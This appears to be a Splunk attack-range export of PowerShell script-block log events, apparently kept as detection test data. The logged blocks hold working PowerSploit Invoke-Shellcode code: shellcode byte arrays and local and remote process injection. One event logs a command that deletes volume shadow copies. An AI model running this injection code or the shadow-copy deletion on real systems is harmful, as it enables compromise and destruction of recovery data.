0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
0x61,0x6c,0x63,0x00)
# 64-bit payload
# msfpayload windows/x64/exec CMD=""calc"" EXITFUNC=thread
[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
}
if ( $PSBoundParameters['ProcessID'] )
{
# Inject shellcode into the specified process ID
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
Write-Verbose ""Injecting shellcode into PID: $ProcessId""
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
""Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!"" ) )
{
Inject-RemoteShellcode $ProcessId
}
}
else
{
# Inject shellcode into the currently running PowerShell process
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
Write-Verbose ""Injecting shellcode into PowerShell""
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
""Injecting shellcode into the running PowerShell process!"" ) )
{
Inject-LocalShellcode
}
}
}",,,,,,,,,,,"'2022-05-02T18:24:28.675234600Z'","4104132150x0122167Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122167Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local22 $Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
# Allocate RWX memory for the shellcode
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)
{
Throw ""Unable to allocate shellcode memory in PID: $ProcessID""
}
Write-Verbose ""Shellcode memory reserved at 0x$($BaseAddress.ToString(""X$([IntPtr]::Size*2)""))""
# Copy shellcode to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate RWX memory for the thread call stub
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$CallStubAddress)
{
Throw ""Unable to allocate thread call stub.""
}
Write-Verbose ""Thread call stub memory reserved at 0x$($CallStubAddress.ToString(""X$([IntPtr]::Size*2)""))""
# Copy call stub to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
# Launch shellcode in it's own thread
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw ""Unable to launch thread.""
}
# Wait for shellcode thread to terminate
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
Write-Verbose 'Shellcode injection complete!'
}
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
$AddressWidth = $null
try {
$AddressWidth = @(Get-WmiObject -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth
} catch {
throw 'Unable to determine OS processor address width.'
}
switch ($AddressWidth) {
'32' {
$64bitOS = $False
}
'64' {
$64bitOS = $True
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
}
default {
throw 'Invalid OS address width detected.'
}
}
if ([IntPtr]::Size -eq 4)
{
$PowerShell32bit = $true
}
else
{
$PowerShell32bit = $false
}
if ($PSBoundParameters['Shellcode'])
{
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
[Byte[]] $Shellcode32 = $Shellcode
[Byte[]] $Shellcode64 = $Shellcode32
}
else
{
# Pop a calc... or whatever shellcode you decide to place in here
# I sincerely hope you trust that this shellcode actually pops a calc...
# Insert your shellcode here in the for 0xXX,0xXX,...
# 32-bit payload
# msfpayload windows/exec CMD=""cmd /k calc"" EXITFUNC=thread
[Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
0x61,0x6c,0x63,0x00)
# 64-bit payload
# msfpayload windows/x64/exec CMD=""calc"" EXITFUNC=thread
[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
}
if ( $PSBoundParameters['ProcessID'] )
{
# Inject shellcode into the specified process ID
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
Write-Verbose ""Injecting shellcode into PID: $ProcessId""
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
""Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!"" ) )
{
Inject-RemoteShellcode $ProcessId
}
}
else
{
# Inject shellcode into the currently running PowerShell process
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
Write-Verbose ""Injecting shellcode into PowerShell""
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
""Injecting shellcode into the running PowerShell process!"" ) )
{
Inject-LocalShellcode
}
}
}
3930c537-c80a-4cc2-90ba-23b4d038b938C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\CodeExecution\Invoke-Shellcode.ps1","2022-05-02T18:24:28.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122167,"endpoint_services_processes windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122167,win,199,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><>><>><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"track_event_signatures",,,"track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows"
"'{7B7F4240-5E23-0004-874C-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"11Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}205af966-f636-408b-970e-9755248c2a52",,4104,121838,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,5,,,,1,1,"'Microsoft-Windows-PowerShell'",15,,,,,,,,,,"'2264'",,,,,,121838,,,,"205af966-f636-408b-970e-9755248c2a52","Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}",,,,,,,,,,,"'2022-05-02T15:13:25.719450100Z'","4104152150x0121838Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'6088'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104152150x0121838Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}205af966-f636-408b-970e-9755248c2a52","2022-05-02T15:13:25.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",121838,"endpoint_services_processes windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,121838,win,1,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><>><>><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"track_event_signatures",,,"track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows"
"'{7B7F4240-5E23-0006-5343-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"11# Copyright 2016 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Amazon Software License (the ""License"").
# You may not use this file except in compliance with the License.
# A copy of the License is located at
#
# http://aws.amazon.com/asl/
#
# or in the ""license"" file accompanying this file. This file is distributed
# on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
# express or implied. See the License for the specific language governing
# permissions and limitations under the License.
<#-----------------------------------------------------------------------------------------------------------
Send-FeatureStatus sends feature installation and corresponding service status to the console.
-------------------------------------------------------------------------------------------------------------#>
function Send-FeatureStatus
{
Set-Variable -Name INSTALL_STATE_ENABLED -Value 1 -Option Constant
try
{
$windowsFeatures = @(@{ FeatureName = ""Microsoft-Hyper-V""; InstalledServiceName = ""vmms"" })
$featureName = """"
foreach ($feature in $windowsFeatures)
{
$featureName = $feature.FeatureName
$featureInfo = Get-WmiObject -Query ""select * from Win32_OptionalFeature where name = '$featureName'"" -ErrorAction ""SilentlyContinue""
if ($featureInfo.InstallState -eq $INSTALL_STATE_ENABLED)
{
Write-Log (""{0} feature is installed."" -f $feature.FeatureName) -LogToConsole
$srvStatus = (Get-Service -Name $feature.InstalledServiceName -ErrorAction ""SilentlyContinue"").Status
if ($srvStatus)
{
Write-Log (""{0} service ({1}) is {2}."" -f $feature.FeatureName,$feature.InstalledServiceName,$srvStatus) -LogToConsole
}
else
{
Write-Log (""Unable to get service status for {0}."" -f $feature.InstalledServiceName) -LogToConsole
}
}
}
}
catch
{
Write-ErrorLog (""Failed to get info for feature {0}."" -f $featureName) -LogToConsole
}
}
# SIG # Begin signature block
# MIIfJwYJKoZIhvcNAQcCoIIfGDCCHxQCAQExDzANBglghkgBZQMEAgEFADB5Bgor
# BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG
# KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCDjgh6VOIxwaedw
# KSMGByf3horHspStpxBFDJoAggHCkqCCDlUwggawMIIEmKADAgECAhAIrUCyYNKc
# TJ9ezam9k67ZMA0GCSqGSIb3DQEBDAUAMGIxCzAJBgNVBAYTAlVTMRUwEwYDVQQK
# EwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xITAfBgNV
# BAMTGERpZ2lDZXJ0IFRydXN0ZWQgUm9vdCBHNDAeFw0yMTA0MjkwMDAwMDBaFw0z
# NjA0MjgyMzU5NTlaMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg
# SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg
# UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw
# ggIKAoICAQDVtC9C0CiteLdd1TlZG7GIQvUzjOs9gZdwxbvEhSYwn6SOaNhc9es0
# JAfhS0/TeEP0F9ce2vnS1WcaUk8OoVf8iJnBkcyBAz5NcCRks43iCH00fUyAVxJr
# Q5qZ8sU7H/Lvy0daE6ZMswEgJfMQ04uy+wjwiuCdCcBlp/qYgEk1hz1RGeiQIXhF
# LqGfLOEYwhrMxe6TSXBCMo/7xuoc82VokaJNTIIRSFJo3hC9FFdd6BgTZcV/sk+F
# LEikVoQ11vkunKoAFdE3/hoGlMJ8yOobMubKwvSnowMOdKWvObarYBLj6Na59zHh
# 3K3kGKDYwSNHR7OhD26jq22YBoMbt2pnLdK9RBqSEIGPsDsJ18ebMlrC/2pgVItJ
# wZPt4bRc4G/rJvmM1bL5OBDm6s6R9b7T+2+TYTRcvJNFKIM2KmYoX7BzzosmJQay
# g9Rc9hUZTO1i4F4z8ujo7AqnsAMrkbI2eb73rQgedaZlzLvjSFDzd5Ea/ttQokbI
# YViY9XwCFjyDKK05huzUtw1T0PhH5nUwjewwk3YUpltLXXRhTT8SkXbev1jLchAp
# QfDVxW0mdmgRQRNYmtwmKwH0iU1Z23jPgUo+QEdfyYFQc4UQIyFZYIpkVMHMIRro
# OBl8ZhzNeDhFMJlP/2NPTLuqDQhTQXxYPUez+rbsjDIJAsxsPAxWEQIDAQABo4IB
# WTCCAVUwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4EFgQUaDfg67Y7+F8Rhvv+
# YXsIiGX0TkIwHwYDVR0jBBgwFoAU7NfjgtJxXWRM3y5nP+e6mK4cD08wDgYDVR0P
# AQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMDMHcGCCsGAQUFBwEBBGswaTAk
# BggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMEEGCCsGAQUFBzAC
# hjVodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRUcnVzdGVkUm9v
# dEc0LmNydDBDBgNVHR8EPDA6MDigNqA0hjJodHRwOi8vY3JsMy5kaWdpY2VydC5j
# b20vRGlnaUNlcnRUcnVzdGVkUm9vdEc0LmNybDAcBgNVHSAEFTATMAcGBWeBDAED
# MAgGBmeBDAEEATANBgkqhkiG9w0BAQwFAAOCAgEAOiNEPY0Idu6PvDqZ01bgAhql
# +Eg08yy25nRm95RysQDKr2wwJxMSnpBEn0v9nqN8JtU3vDpdSG2V1T9J9Ce7FoFF
# UP2cvbaF4HZ+N3HLIvdaqpDP9ZNq4+sg0dVQeYiaiorBtr2hSBh+3NiAGhEZGM1h
# mYFW9snjdufE5BtfQ/g+lP92OT2e1JnPSt0o618moZVYSNUa/tcnP/2Q0XaG3Ryw
# YFzzDaju4ImhvTnhOE7abrs2nfvlIVNaw8rpavGiPttDuDPITzgUkpn13c5Ubdld
# AhQfQDN8A+KVssIhdXNSy0bYxDQcoqVLjc1vdjcshT8azibpGL6QB7BDf5WIIIJw
# 8MzK7/0pNVwfiThV9zeKiwmhywvpMRr/LhlcOXHhvpynCgbWJme3kuZOX956rEnP
# LqR0kq3bPKSchh/jwVYbKyP/j7XqiHtwa+aguv06P0WmxOgWkVKLQcBIhEuWTatE
# QOON8BUozu3xGFYHKi8QxAwIZDwzj64ojDzLj4gLDb879M4ee47vtevLt/B3E+bn
# KD+sEq6lLyJsQfmCXBVmzGwOysWGw/YmMwwHS6DTBwJqakAwSEs0qFEgu60bhQji
# WQ1tygVQK+pKHJ6l/aCnHwZ05/LWUpD9r4VIIflXO7ScA+2GRfS0YW6/aOImYIbq
# yK+p/pQd52MbOoZWeE4wggedMIIFhaADAgECAhABe4J3F0ijMMT66O5gzQEfMA0G
# CSqGSIb3DQEBCwUAMGkxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwg
# SW5jLjFBMD8GA1UEAxM4RGlnaUNlcnQgVHJ1c3RlZCBHNCBDb2RlIFNpZ25pbmcg
# UlNBNDA5NiBTSEEzODQgMjAyMSBDQTEwHhcNMjExMjI4MDAwMDAwWhcNMjMwMTAz
# MjM1OTU5WjCB8jEdMBsGA1UEDwwUUHJpdmF0ZSBPcmdhbml6YXRpb24xEzARBgsr
# BgEEAYI3PAIBAxMCVVMxGTAXBgsrBgEEAYI3PAIBAhMIRGVsYXdhcmUxEDAOBgNV
# BAUTBzQxNTI5NTQxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAw
# DgYDVQQHEwdTZWF0dGxlMSIwIAYDVQQKExlBbWF6b24gV2ViIFNlcnZpY2VzLCBJ
# bmMuMRMwEQYDVQQLEwpBbWF6b24gRUMyMSIwIAYDVQQDExlBbWF6b24gV2ViIFNl
# cnZpY2VzLCBJbmMuMIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAtCrQ
# u3fd3L+RmFVifX8P7XsFoqdsNC6J9Gnnw9tIzGwRU5ke3UKljLvIMed9kvTZ196W
# JZf/GT6WJIbq2QVRHBFrNzQ24vOtdDJp4vEJN2zTWNoMx2IMrP3u7Arlh8BEuORU
# faeZjTFrxG1ZOn2BG8RcaeST+YINZoM6F+tPEzEg7UPbCe6yu1Wztkzj1nadwO9J
